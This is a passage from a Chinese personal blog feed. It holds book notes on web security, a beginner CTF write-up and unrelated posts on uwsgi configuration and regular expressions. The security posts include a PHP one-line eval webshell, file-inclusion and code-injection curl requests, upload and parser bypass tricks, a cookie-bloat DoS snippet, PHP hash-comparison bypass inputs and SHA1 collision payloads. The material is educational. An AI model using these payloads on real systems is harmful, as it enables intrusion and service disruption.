已经写完了，虽然都是相当的基础的类型的题目，不过，自己也是折腾了好一会，慢慢积累还是挺有趣的加油\n","date":"2018-10-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-20-wechell_wp/","tags":null,"title":"WeChell_WP"},{"categories":null,"contents":"前 喜欢就去追寻\n互联网本来是安全的。自从有了研究安全的人之后，互联网就变得不安全了。\n简介 书名：白帽子讲WEB安全 作者：吴翰清 ISBN：9787121160721 WEB 安全相关的入门书籍，范围很广，每个类型的威胁，都有相应的案例。\n作为一本较为系统的拾遗书籍，加深自己对 WEB 安全的理解\n浏览器（用户）安全 浏览器的同源策略 如果两个页面的协议，端口（如果有指定）和域名都相同，则两个页面具有相同的源。\n浏览器自身用于保证安全的策略\n浏览器的同源策略 - MDN 浏览器同源政策及其规避方法 - ruanyf CSRF Cross-site request forgery,\nXSS Cross-site scripting\nClickJacking 点击劫持 点击劫持，拖拽劫持，经典的例子是 把球放在 海豹的头上。\n作用机理是使用 看不见的 iframe\nAUTH and Session 会话劫持 Cookies被窃取，被盗取了登陆状态 ， SessionID 存在。\n当把 Session 放在 URL 里面存在更大的问题，比如有个 邮件里的地址，用户点击之后，这个请求会在 referer 里面带上上一个站点的信息，很容易的泄露了sessionID。\nCookie 保持：使用一个慢速的固定请求保持 cookie 的过期时间。\n常见WEB漏洞 WEB服务器安全 SQL Injection 这个注入老问题了，后面补充把\nUpload 上传点 00 截断\n这部分是寻找上传点，并且绕过类型检测，以及正确解析。对于 php页面的上传点，如果文件名没有被修改，可以尝试 \\00 进行截断。\nMIME Sniff\n如果通过对 文件头的魔数来识别类型的话，我们可以给 php 文件伪造一个 合法jpg的文件头，\n文件解析\n当然，上传了一个文件之后，要对其进行解析，否则只是个图片\n又想到之前的 一句话图马\nApache 文件解析（特性） apache 的 1.x 2.x 版本中，对文件后缀是 白名单设置 ，如果有文件文件名如下：\na.php.qwe.qwe.qwe.qwe 由于qwe 类型不在其白名单内，所以他不断遍历，直至第一个 php ，这样就把这个文件作为 php 进行解析了。所以 ，我可以伪造 jpg 后缀名绕过类型上传检测，之后使用该解析漏洞使得其进行执行。mine.type\nIIS6 IIS 作为 win下的web 服务器，也是存在着解析漏洞，和 00 截断类似这里是 ; 截断:\na.asp;asdasd.jpg 显然上面的是一个合法的 文件名，不过IIS 在进行进行的时候，就出现了截断为 a.asp\n且另外的一个漏洞是 如果可以新建文件夹， IIS 会把 /*.asp/ 文件夹下面所有的 文件都作为 asp 文件进行执行。\nnginx Nginx 这个 官方称为特性的东西，存在于 cgi.fix_pathinfo = 1 这个选项中。实现这样的效果：\nhttp://www.example.com/test.jpg/test.php #本身这个文件不存在 在这里，test.jpg 将会作为 php 文件进行解析，问题存在于 nginx 的特性里面，由于是 fast-cgi 的特性导致，由于是 php 结尾的 url 所以是被分发到了 fast-cgi。其按路径进行解析，就会找到 这个jpg 文件执行了。\n弱伪随机数/密码学安全 比较有意思，在后面对 加密算法 和加密模式做个总结\nDeny of Service 正如其名 拒绝服务攻击，使WEB 服务器失去原有的服务能力，比如选课 XD\n协议层 经典方法直接想到的 就是进行疯狂的请求这种方法就称之为 泛洪 flood\nSYN flood UDP flood UDP flood ICMP flood # ping 可见 除了第一种，后面的都是完整的协议。使用最低的资源，得到最高的性能，这个当然是 DOS 所需要的。这里的 SYN 便是，SYN 很熟悉的出现在 网络中的 TCP 协议中，syn syn/ack ack 这样的一个三次握手的协议，SYN 不是一个完整的协议，所以其对发起攻击的要求更低了。\nSYN flood 算的上是利用了 TPC 协议的漏洞。我们发起了 SYN 包之后，主机进行应答，我们不做任何回复，主机将进行重复的 3~5 次应答，直至 连接超时被施放。所以，可见 不应答的方法得到了更多的收益（资源占用）。所以SYN 泛洪是很常用的 DOS 的方法。对应方法，可以对 SYN 的发起地址 分配 Cookies 统计气质访问频率， 丢弃过多的请求。\n应用层 = CC 攻击 CC 攻击 起源 与对 绿盟的 反DOS 的设备（collaoasar黑洞）的挑战（challenge）所以简并 CC\n其攻击原理不同于上面的网络层次。这里是对应用层次的请求进行泛洪，尽可能的消耗服务器的资源，比如 ：\n数据库的增删查改。HTTP\n在应用层产生的攻击其主要的解决方案，是配置服务器，对连接数进行限制，或者进行请求的分发\nSlowloris 攻击 这个也是应用层次的攻击， 可以说是利用了 HTTP 协议的漏洞。原理也好理解，我们的 请求中设置 Keep-Alive。而且我们发送畸形的请求头。正常的请求头是 以 \\r\\n\\r\\n 结束的。我们使用只有一个 \\r\\n 的请求头，这样服务器认为 没有有结束或者接收完整，便保持连接，客户端，再以缓慢的速度发送不完整数据，来保持连接。这样的进行数个 连接的保持，就可以很快占用了所有的连接数 导致 DOS。\nServer Limie DOS 这个比较有意思，实际上进行DOS 的对象是用户本身，不是服务器。利用了 HTTP 报头的长度限制这一属性。HTTP 中对 请求头的长度限制是 8192Bytes 如果我们使用恶意脚本，在用户的Cookies里面，添加大量的无用信息。导致 请求被 远程服务器 丢弃。\n这个可以直接在 浏览器 的Cookies 进行修改，\ndocument.cookie = \u0026#39;exp1=\u0026#39; + \u0026#39;a\u0026#39; * 8192 PHP安全 PHP 由于其天生的 特性，所以在WEB 开发上得到了广泛的应用，PHP 作为动态 ，弱类型的语言在方便的同时的确带来了 许多的隐患。\n文件包含漏洞 这里的文件包含，在实际上指的是 代码注入， 使得用户代码在远程主机上非法执行。\n本地文件包含 LFI Local File inclusion 正如 python 的 import 一样，PHP 中用于 包含文件使用的 函数是：\ninclude() / include_once() require() / require_once() 在使用上面的函数对文件本身进行引入的时候，解释器会自动的执行引入文件所包含代码。\n\u0026lt;? php include($_GET[test]) ?\u0026gt; 上面是示例代码，使用\ncurl \u0026#34;http://localhost:8000/test.php?test=../a.php“ -v 这样会导致远程主机上的a.php 的非法执行，\nTIPS: PHP 内河使用 C 艰辛编写所以在处理字符串的时候,会出现 00 截断,用于绕过不少的文件格式判断。\n这里提到了一个很有意思的远程文件包含的方法，WEB 服务器的日志注入。基于 SessionID 的注入。我们本地进行的恶意 Session内容 的构建 （如果可以），之后提交请求，服务器会将我们的 Session的内容进行保存。所以我们可以远程的 include 包含我们注入代码的 session 文件，从而导致了远程的代码包含的复现。\nWeb安全实战系列：文件包含漏洞 \u0026lt;? php \u0026lt;?php eval($_POST[test]);?\u0026gt; ?\u0026gt; 如果有拿过站的，就一定知道，功夫再高也怕菜刀这句话。中国菜刀这样的东西，带来了一句话木马的浪潮，这里的一句话木马，就是典型的代码注入，使用这一句话，我们可以实现在远程主机上进行的代码执行\ncurl \u0026#34;http://localhost:8000/test.php?test=\u0026lt;?php phpinfo();?\u0026gt;“ -v 那些强悍的PHP一句话后门 Web Server 安全 这部分的问题，出在Web 服务器的 漏洞 ， 或者说 ummmmm 特性。\nApache 的问题，多数出现在核心模块里面，都是由于其他的模块可能引起的漏洞，但是存在 root 运行的问题，一道被getshell 就是root。Nginx 在不断进化 漏洞还是不少。JBoss 有8080 的默认后台 同 Tomcat 有 8080 的默认管理\n后 发现了同样的一篇 WEB 安全的，\n读白帽子讲WEB安全 随手 PICK 一下\n","date":"2018-10-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-13-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E7%99%BD%E5%B8%BD%E5%AD%90%E8%AE%B2web%E5%AE%89%E5%85%A8/","tags":null,"title":"读本好书 《白帽子讲WEB安全》"},{"categories":null,"contents":"前 使用 Nginx 和 uwsgi 一起搭建提供 CGI 服务。本来时很顺利的搭建完成了环境。发现到另一台主机上就出现了葛总问题，这里记录一下\nNginx 在 Nginx 的配置文件中的配置如下 ，在官方的模板配置里面也已经给出。\nlocation ^/CGI { rewrite ^ /cgi-bin/x.py last; } location /cgi-bin { # internal; include $nginx_root/nginx/conf/uwsgi_params; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9000; } uwsgi协议魔术变量， 你可以通过使用web服务器（或一般使用一个uwsgi兼容的客户端）传递的专用的变量来动态调整或配置uWSGI服务器的各个方面。\nuwsgi_param　文件的具体内容如下\nuwsgi_param QUERY_STRING $query_string; uwsgi_param REQUEST_METHOD $request_method; uwsgi_param CONTENT_TYPE $content_type; uwsgi_param CONTENT_LENGTH $content_length; uwsgi_param REQUEST_URI $request_uri; uwsgi_param PATH_INFO $document_uri; uwsgi_param DOCUMENT_ROOT $document_root; uwsgi_param SERVER_PROTOCOL $server_protocol; uwsgi_param REQUEST_SCHEME $scheme; uwsgi_param HTTPS $https if_not_empty; uwsgi_param REMOTE_ADDR $remote_addr; uwsgi_param REMOTE_PORT $remote_port; uwsgi_param SERVER_PORT $server_port; uwsgi_param SERVER_NAME $server_name; 这里的uwsgi_modifier1 9;\n这里所谓的魔术变量 可以理解为 Nginx 对 uwsgi 发送命令的操作类型， 具体的指令可见：\nuwsgi协议魔术变量\nUwsgi default \u0026amp; cgi 这个问题，真的是巨大的坑，由于资料较少，最后是在官方文件发现的这一个问题。\n在Uwsgi 进行编译安装之后执行 CGI 请求的时候返回一以下内容\nno python application found, check your startup logs for errors\n在进行问题的查证，看了手册后发现，uwsgi 的不同编译参数对应了不同的版本，有默认版本 ，和CGI 版本。\n编译命令如下\ncurl http://uwsgi.it/install | bash -s default /tmp/uwsgi.cgi # 这个版本需要和web应用联系 curl http://uwsgi.it/install | bash -s cgi /tmp/uwsgi.default # 这个版本的才能用于 nginx 参考 在官方 的文档里提供了详尽的 配置，已经优化的各种方法\n在uWSGI上运行CGI脚本 其他Q MIME 的问题 MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。\nprint (\u0026#34;Content-type:text/html\u0026#34;) print 在 CGI 脚本的执行过程中，必须有 MIME 的头，否则脚本执行时 发生 502\nMIME 的问题 2 没错，这个 MIME 又出问题了， 在同样环境的主机上面，做了平行迁移，于是就出了问题。测试其他的脚本没有问题，测试这个 功能脚本就有问题了，进行对比发现了一个诡异的规律：\n这个 CGI 脚本是可以正常执行的。 返回 200\nimport cgi import cgitb cgitb.enable() print (\u0026#34;Content-type:text/html\u0026#34;) print print (\u0026#39;pass\u0026#39;) 然后下面这个，就直接 报错 502 ， invalid CGI response!!!.\nimport cgi import cgitb cgitb.enable() import os os.chdir(\u0026#39;/\u0026#39;) import sys sys.path.append(\u0026#34;..\u0026#34;) from util import util, db_mysql print(\u0026#34;Content-type:text/html\u0026#34;) print 综上,发现问题，MIME 头需要在用户的自定模块前打印，否则导致脚本 502！\n","date":"2018-10-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-12-uwsgi-%E9%85%8D%E7%BD%AE%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/","tags":null,"title":"Uwsgi 配置问题记录"},{"categories":null,"contents":"前 得找到自己的一点点爱好吧，不然闲暇真是 boring 。\n晚上突然的心血来潮，找了个CTF 的网站，手头没什么工具，所以就怎么简单怎么来啦。\namigos2001在2018-10-01 01:51:08解出了misc-4 amigos2001在2018-10-01 01:45:53解出了misc-2 amigos2001在2018-10-01 01:36:43解出了misc-1 amigos2001在2018-10-01 01:29:45解出了code-1 amigos2001在2018-10-01 00:47:28解出了web-2 amigos2001在2018-10-01 00:37:38解出了web-1 WEB SHA1 碰撞？ \u0026lt;?php include(\u0026#39;flag.php\u0026#39;); if(isset($_GET[a]) \u0026amp;\u0026amp; isset($_GET[b])) { $c = $_GET[a]; $d = $_GET[b]; if($c != $d \u0026amp;\u0026amp; sha1($c)===sha1($d)) { echo \u0026#39;you got it\u0026lt;br\u0026gt;\u0026#39;; echo $flag; } else { echo \u0026#39;try again\u0026lt;br\u0026gt;\u0026#39;; show_source(__FILE__); } } else { show_source(__FILE__); } TIPs:\nisset() 是判断变量是否被赋值的函数 $_GET[] php的特性全局变量 sha1() 常用的哈希算法 输出 320 (40*8bit) 位 show_source(__FILE_\\_); 上面的就是题目，这个代码逻辑，不难看出。最后是需要一个同时满足：\n$c != $d \u0026amp;\u0026amp; sha1($c)===sha1($d) 这样的条件的一个输入。如果乍一看，发现要 两个输入的变量不同，然而这个变量对应的哈希又要是一样的，这个是碰撞 ？ Collusion？显然不会这么直接吧？\nKEY：PHP 中 哈希函数的问题 （PHP 作为动态弱类型的语言，导致安全性的问题）\n如果 GET 参数中设置 name[]=a，那么 $_GET['name'] = [a]，php 会把 []=a 当成数组传入， $_GET 会自动对参数调用 urldecode。\n$_POST 同样存在此漏洞，提交的表单数据，user[]=admin，$_POST['user'] 得到的是 ['admin'] 是一个数组。\n这里可以控制，get的参数作为一个数组，专利由于 php 的hash 函数的性质，或者说是漏洞。对于 php中的hash 函数，输入一个 数组，得到的这时候，函数将会有一个警告，而且会返回 null，这里就有趣了，\nsha1($c)===sha1($d) =\u0026gt; null===null =\u0026gt; true 可见，我们很好的，就可以实现这里的条件啦。所以这里我们构造url\nwww.example.com/web?a[]=1\u0026amp;b[]=2 这里可见，ab都为数组，且 [1] \u0026lt;\u0026gt; [2] , 后面有满足了 null === null 的条件，所以我们 got flag。\nSHA1 碰撞 !? \u0026lt;?php include(\u0026#39;flag.php\u0026#39;); if(isset($_GET[a]) \u0026amp;\u0026amp; isset($_GET[b])) { $c = (string)$_GET[a]; $d = (string)$_GET[b]; if($c != $d \u0026amp;\u0026amp; sha1($c)==sha1($d)) { echo \u0026#39;you got it\u0026lt;br\u0026gt;\u0026#39;; echo $flag; } else { echo \u0026#39;try again\u0026lt;br\u0026gt;\u0026#39;; show_source(__FILE__); } } else { show_source(__FILE__); } PHP 和 JS 一样，作为一个弱类型的语言，虽然的确给开发者提供了不少的编码自由，淡出其中的安全问题，也是的确的不能忽视。\n这次，职业敏感的，直接把目光集中在这个条件语句上，这次，和上次有了些差别。\n$c = (string)$_GET[a]; $d = (string)$_GET[b]; if($c != $d \u0026amp;\u0026amp; sha1($c)==sha1($d)) 这里，使用了强制的类型转换，显然，这里把我们的传入数组的路子是封死了。不过，有转机的地方在于这个等于号。\n$c != $d \u0026amp;\u0026amp; sha1($c)==sha1($d) 前面的内容不同没有改变，后面的hash 相等，从 === 变成了 == 。\nwiki 之\n浅析JavaScript和PHP中三个等号（===）和两个等号（==）的区别\n== 两边值类型不同的时候，要先进行类型转换，再比较。 === 不做类型转换，类型不同的一定不等。 简单来讲，== 只是要求值相等，而 === 要求类型和值。可见机会来了。有趣的是，这个要从科学计数法说起。\n在科学计数法里面，1e2 == 1*10^2。 这样的语法在 C / 以及 PHP 等语言里面都是存在的。1e2 == 10e1那么\n0e123 和 0e456 呢? 显然可见，在数值上讲，0 乘以的任意次幂，结果当然是 0 的。综上，== 会进行自动的类型转换。得到这样的推论。\n\u0026#39;0e12123341231231\u0026#39; == \u0026#39;0e612371973712937\u0026#39; 现在，回去看题啦，我们要解决的问题是\nsha1($c)==sha1($d) 一看便有了思路吧！对的，找到符号相同的结构的 hash 就好啦！是 0e\\d{38} 类型的就好了！所以，我就天真的，天真的，天真了！！！\n如下：\nimport re import hashlib as h for i in range(1,100000): hs = h.sha1(str(i).encode()).hexdigest() a = re.compile(\u0026#39;0e\\d{38}\u0026#39;).match(hs) if a: print(a,i) 这个概率当然是相当低的，不过自己还突然有了学习 OpenCL 的冲动。。。\n最后，的方案当然是求助Google了，这里找到了 magic Hashs。里面列举了，多个满足 0e\\d{38}的这个条件。\nMagic Hashs\n这里找到了这样的两个符合要求的输入\n10932435112 aaroZmOk \u0026gt;\u0026gt;\u0026gt; hashlib.sha1(\u0026#39;10932435112\u0026#39;).hexdigest() \u0026#39;0e07766915004133176347055865026311692244\u0026#39; \u0026gt;\u0026gt;\u0026gt; hashlib.sha1(\u0026#39;aaroZmOk\u0026#39;).hexdigest() \u0026#39;0e66507019969427134894567494305185566735\u0026#39; SHA1 · 真碰撞 \u0026lt;?php include(\u0026#39;flag.php\u0026#39;); if(isset($_GET[a]) \u0026amp;\u0026amp; isset($_GET[b])) { $c = (string)$_GET[a]; $d = (string)$_GET[b]; if($c != $d \u0026amp;\u0026amp; sha1($c)===sha1($d)) { echo \u0026#39;you got it\u0026lt;br\u0026gt;\u0026#39;; echo $flag; } else { echo \u0026#39;try again\u0026lt;br\u0026gt;\u0026#39;; show_source(__FILE__); } } else { show_source(__FILE__); } 到了这里了，就发现了一些问题了，首先前面的强制类型转阻止了使用数组返回 null 的思路。可是后面是hash 比较，这里使用的是 === ，严格等于， 需要类型和其值相等，且不会进行类型转换。\n感觉这次，是真的真的要进行碰撞了，在网上进行搜索\nAnnouncing the first SHA1 collision \u0026ndash; Google Security Blog 可见，Google 的确已经发现了第一个的 sha1 哈希碰撞\n对，后面的内容进行继续的探索，也很容易的发现了类似的 ctf 题目，有说是站姿巨人的肩膀上，所以这里学习，和记录了，链接在此 。\n关于SHA1碰撞——比较两个binary的不同之处 a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1\u0026amp; b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 得到了类似以上面的参数，进行提交，也的确得到了 flag。于是这个倒是水水的过了，最重要的是，看到了sha1 的碰撞的这件事。MD5 在 03/2005 已经被发现碰撞了。\nCODE CODE 1 这个也是比较简单的编码题目。题目如下\n^q|l^7xm]\\RpRnVj][9o\\6Rlg6Z}jUAA 听说是移位+base64 题目给出了明确的暗示，是位移加上 base64 , b64 这个加密的特点就是末尾的 ==\n关于 == 的来源，这里 pick 一个好的文章\nBase64 笔记 \u0026ndash; 阮一峰\n那么位移的思路，就是把 AA 移成 ==， 看一看 ascii 的顺序\n\u0026gt;\u0026gt;\u0026gt; ord(\u0026#39;A\u0026#39;) 65 \u0026gt;\u0026gt;\u0026gt; ord(\u0026#39;=\u0026#39;) 61 所以我们的思路是向下位移， 接下来上脚本：\na = \u0026#34;^q|l^7xm]\\RpRnVj][9o\\6Rlg6Z}jUAA\u0026#34; c = \u0026#34;\u0026#34; for i in range(10): # 为了验证思路多试几次 for x in a: try: d = chr(ord(x) - i) except: pass c += d print(c) c = \u0026#34;\u0026#34; 代码跑完之后 得到这样的东西：\n^q|l^7xm]\\RpRnVj][9o═Rlg6Z}jUAA ]p{k]6wl\\[QoQmUi\\Z8n║Qkf5Y|iT@@ \\ozj\\5vk[ZPnPlTh[Y7m╝Pje4X{hS?? [nyi[4ujZYOmOkSgZX6l╚Oid3WzgR\u0026gt;\u0026gt; ZmxhZ3tiYXNlNjRfYW5k╗Nhc2VyfQ== YlwgY2shXWMkMiQeXV4j╔Mgb1UxeP\u0026lt;\u0026lt; XkvfX1rgWVLjLhPdWU3i Lfa0TwdO;; WjueW0qfVUKiKgOcVT2hhKe`/SvcN:: VitdV/peUTJhJfNbUS1ggJd_.RubM99 UhscU.odTSIgIeMaTR0ffIc^-QtaL88 显然我们找到了 == 的条件， 解码：\n### Then b64 = \u0026#34;ZmxhZ3tiYXNlNjRfYW5k╗Nhc2VyfQ==\u0026#34; print(base64.b64decode(b64)) 解释器抛异常， 仔细一看混进去了一个奇怪的东西 ‘╗’base64 出来都应该是 az09 才是。\n尝试删除，替换无果后，回到原字符串， 找到导致这个符号的位置\na = \u0026#34;^q|l^7xm]\\RpRnVj][9o\\6Rlg6Z}jUAA\u0026#34; ^ a = \u0026#34;^q|l^7xm]\\RpRnVj][9o\\\\6Rlg6Z}jUAA\u0026#34; 随手拍脑袋，加个 \\ 再次解码 得到 flag；\nMISC Misc 1 这个题，简单类型，看到了 flag 几个字母，找找规律。\nfinnsl_kc_at_e0ghf_k{iei} 本想着一个个数的，数着数着就乱了，算了写脚本吧：\na =\u0026#34;finnsl_kc_at_e0ghf_k{iei}\u0026#34; b=\u0026#34;\u0026#34; for x in range(5): for i in range(5): if 5*i \u0026lt; len(a): b += a[5*i+x] print(b) 后 难得闲暇的时间，可以去玩一下，自己喜欢的东西，希望以后，坚持一下这个爱好吧，不然每天过的太空洞。\n参考 https://www.itcodemonkey.com/article/2185.html https://blog.csdn.net/u013943420/article/details/75733175 https://www.ctftools.com/down/ http://www.freebuf.com/articles/web/129607.html https://ask.helplib.com/php/post_1218190 https://getpocket.com/a/read/1904045592 ","date":"2018-10-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-02-%E6%9F%90%E4%B8%AA%E7%AE%80%E5%8D%95ctf%E7%9A%84wp/","tags":null,"title":"某个简单CTF的WP"},{"categories":null,"contents":"正则表达式，可谓是相当常用的东西了，看起来就是一堆奇怪的符号。正则表达式的强大之处就是在构建一个文本的规则\n这次就对正则表达式做一个简单的学习记录吧。\n参考链接 http://www.runoob.com/regexp 简介 正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为\u0026quot;元字符\u0026quot;）。\n正则表达式的功能\n测试字符串内的模式。 例如，可以测试输入字符串，以查看字符串内是否出现电话号码模式或信用卡号码模式。这称为数据验证。 替换文本。 可以使用正则表达式来识别文档中的特定文本，完全删除该文本或者用其他文本替换它。 基于模式匹配从字符串中提取子字符串。 可以查找文档内或输入域内特定的文本。 语法\n如果我们把一个正则表达式看作一个字符串，在这个字符串里面有这样的 几类字符：\n普通字符 / 非打印字符 特殊字符 限定字符 普通字符 包括没有被指定为元字符的 所有可打印与不可打印字符。有 大小写字母，数字，标点符号，一起其他符号\nTips\n\\n = 0x0a\n\\r = 0x0d\nCRLF = \\r\\n\nLF = \\n\n符号 描述 * 匹配前子表达式的零次或多次匹配 + 匹配前面表达式一次以上不允许0 . 匹配换行(\\n)以外的的单字符 ^ 匹配开始 转义使用 \\^ $ 匹配结束 转义使用 \\$ ( ) 子表达式的开始结束 [] 中括号表达式 ? 匹配0次或者一次 \\ 用于转义 如 \\n 即匹配换行 {} 标记限定符 题外话：这里的|符号在表格里面，由于是用来制表的，所以这里使用特殊方法\u0026amp;#124; 来输出\n限定符 限定符用于指定一个匹配部分需要被匹配的限定（匹配次数）。\n*, +, ?, {n},{n,},{n,m}\n符号 描述 示例 * 匹配前面子表达式0或多次 ‘ab*‘ re abbb or a + 匹配一次或多次 同上无 a ? 零次或一次 ab or a {n} 匹配指定次 ab(n个) {n,} 匹配指定次以上 ab(n个以上b) {n,m} 区间，最少n次最多m次 同理 之前一直以为 * 是任意通配符，导致了好多的问题\n在这里是网页的例子\n/\u0026lt;.*\u0026gt;/ # 这个正则乍一看还是不懂，慢慢看 /\u0026lt;.*?\u0026gt;/ 慢慢看，发现其实可以理解，首先，\u0026lt;\u0026gt; 通过转义就是领个符号，那么就是匹配中间的部分。\n. 代表着除了换行以为的单字符。后面的 * 说明0次或多次匹配前面的子表达式，那么连起来这里的意思就是，匹配一个任意的字符串。比如 \u0026lt;1231231212\u0026gt;.\n*，+ 匹配时贪婪的 这里说的时这个匹配的贪婪性。 如果有这样的一个字符串 ：\u0026lt;123\u0026gt;123\u0026lt;123\u0026gt; 那么使用上面的第一个正则表达式 ，得到的匹配结果，就是 最开始的 \u0026lt; 到最后的 \u0026gt; 之间的所有内容。\n所以，实现非贪婪的匹配，这里使用了第二个表达式， 理解起来，就是在前面的匹配任意字符串的子表达式 上添加了只匹配一次的条件，这样的匹配时非贪婪的。如果同样的是 \u0026lt;123\u0026gt;123\u0026lt;123\u0026gt; 这里得到的结果就是 \u0026lt;123\u0026gt; 而已。\n定位符 符号 描述 ^ 匹配字符串开始的位置 $ 匹配字符串的结束位置 \\b 匹配一个单词边界 如空格 限定符和定位符，不允许同时出现。\n如果是从头开始匹配一个文本的话，就使用 ^ ，如果是匹配结束处的内容就是使用 $ 在末尾。如果是单行匹配，这里使用 ^\u0026hellip;$\n基本模式匹配 abc ^abc abc$ ^abc$ 第一项匹配所有包含该串的内容\n第二项只匹配 以该串开头的内容\n第三项匹配 以该串结尾的内容\n第四项只匹配该串\n其他符合 符合 描述 示例 \\ 表达式或操作 [] 字符集合 [abc] or [a-b] [^] 负字符集合 [^asd] 不匹配其中的字符 [a-z] [^a-z] 应用 这里收集正则在几个语言下的应用：\npython 在 pyhton 下的正则模块是 re\n字符串的正则检测 re.match(pattern, string, flags=0) \u0026gt;\u0026gt;\u0026gt; import re \u0026gt;\u0026gt;\u0026gt; print( re.match(\u0026#39;[ca]+\u0026#39;, \u0026#39;acacac\u0026#39;)) \u0026lt;re.Match object; span=(0, 6), match=\u0026#39;acacac\u0026#39;\u0026gt; 对于字符串的正则提取 \u0026gt;\u0026gt;\u0026gt; import re \u0026gt;\u0026gt;\u0026gt; matched_list = re.compile(r\u0026#39;a+\u0026#39;).find(\u0026#39;aaa\u0026#39;) \u0026gt;\u0026gt;\u0026gt; re.compile(r\u0026#39;a+b*\u0026#39;).findall(\u0026#39;aaabasd\u0026#39;) [\u0026#39;aaab\u0026#39;, \u0026#39;a\u0026#39;] \u0026gt;\u0026gt;\u0026gt; print( re.search(\u0026#39;[ca]+\u0026#39;, \u0026#39;acacac\u0026#39;).group()) acacac \u0026gt;\u0026gt;\u0026gt; print( re.search(\u0026#39;[0-9]+\\.php$\u0026#39;, \u0026#39;123.php\u0026#39;).group()) 123.php \u0026gt;\u0026gt;\u0026gt; print( re.search(\u0026#39;[0-9]+\\.php$\u0026#39;, \u0026#39;12asd3.php\u0026#39;).group()) 3.php JavaScrip 对于字符串的提取 a=\u0026#39;assid123\u0026#39; \u0026gt; (a).match(\u0026#34;[0-9]*$\u0026#34;)[0] \u0026#34;123\u0026#34; \u0026gt; (a).match(\u0026#34;^[0-9]*\u0026#34;)[0] // 这里没有以数字开头 \u0026#34;\u0026#34; Nginx Conf 对于正则表达式在 Nginx 的配置文件里面的应用也是相当的广泛 了\nlocation ~ \\.php$ { proxy_pass http://127.0.0.1; } location ~ \\.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; } 上面的是 Nginx.conf 里面的实例配置，从功能上讲，前者是使用 Nginx 作为转发，如注释说明，最后是apache 对php 进行解析执行。后者是使用 fastcgi ，使用 php-fpm 进行脚本执行。\n不过重点的正则表达式可以看见\n~ \\.php$ 这里值得注意的是 ~ 并不是标准的正则表达式里的东西。而是Nginx 里特有的，表示该匹配时大小写敏感的。\n记得之前有句话，web 安全里的，怎么判断主机是linux 还是 windows 答曰改变 URL 的大小写。这里看来也是不一定正确的。\n后面的部分，可以看出 \\. 是对dot 的转义，说明其是字符点，不是匹配任意单字符的意思。总体可见该正则的意思是，对.php 进行匹配。如果如果匹配到 .php 的url 之后，就把请求传递给 CGI 处理任务了。\n参考链接：\nNginx 在URL 匹配上还有自己的限定符号\nNginx正则说明 后 再也不会看到正则就发晕了，至少简单的可以看懂一些，这个 post 也算是纠正了自己的一些误区吧。加油~\n有一盒月饼也不会开心，中秋快乐~\n","date":"2018-09-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/09/2018-09-19-%E6%AD%A3%E5%88%99%E7%AE%80%E6%98%8E/","tags":null,"title":"正则简明"},{"categories":null,"contents":"前 多看看书，学点东西。\n工作是一方好药，让人很容易的走出焦虑\n书中的内容，主要来自于 《mongoDB 权威指南》和 Google 。再加上点自己的思考了。\n正文 简单几句话 MongoDB 是目前的主流 NoSQL 之一\nNoSQL = Not only SQL\n几款主流 NoSql 数据库的对比 文档是MangoDB 的基本单元，换关系数据库中的行的概念相似，但是其具体结构复杂的多。\n每个文档，都会有自己的一个特殊的键 _id 在文档所处的合集中是唯一的。\n多个件及其关联的值放在一起便是文档。\n合集就是一组文档\n文档之于行，合集之于表。\n集合是没有模式的，在关系数据库里面，每一行有固定的模式。但是在集合中是没有模式的。比如\n{\u0026#39;a\u0026#39;:123, \u0026#39;c\u0026#39;: 234} {\u0026#39;d\u0026#39;:354} 